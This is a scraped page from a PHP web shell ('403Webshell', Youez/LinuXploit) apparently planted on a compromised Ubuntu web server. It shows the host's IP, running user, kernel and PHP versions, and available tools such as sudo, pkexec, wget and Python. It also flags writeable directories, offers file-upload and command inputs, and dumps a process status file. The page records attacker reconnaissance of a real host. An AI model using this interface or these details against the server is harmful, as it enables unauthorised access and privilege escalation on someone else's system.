403Webshell
Server IP : 103.88.176.108  /  Your IP : 216.73.216.211
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux webserver 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/11/status
Name:	rcu_sched
Umask:	0000
State:	I (idle)
Tgid:	11
Ngid:	0
Pid:	11
PPid:	2
TracerPid:	0
Uid:	0	0	0	0
Gid:	0	0	0	0
FDSize:	64
Groups:	 
NStgid:	11
NSpid:	11
NSpgid:	0
NSsid:	0
Threads:	1
SigQ:	0/15305
SigPnd:	0000000000000000
ShdPnd:	0000000000000000
SigBlk:	0000000000000000
SigIgn:	ffffffffffffffff
SigCgt:	0000000000000000
CapInh:	0000000000000000
CapPrm:	0000003fffffffff
CapEff:	0000003fffffffff
CapBnd:	0000003fffffffff
CapAmb:	0000000000000000
NoNewPrivs:	0
Seccomp:	0
Speculation_Store_Bypass:	vulnerable
Cpus_allowed:	ffff,ffffffff,ffffffff
Cpus_allowed_list:	0-79
Mems_allowed:	00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list:	0
voluntary_ctxt_switches:	401561285
nonvoluntary_ctxt_switches:	1106

Youez - 2016 - github.com/yon3zu
LinuXploit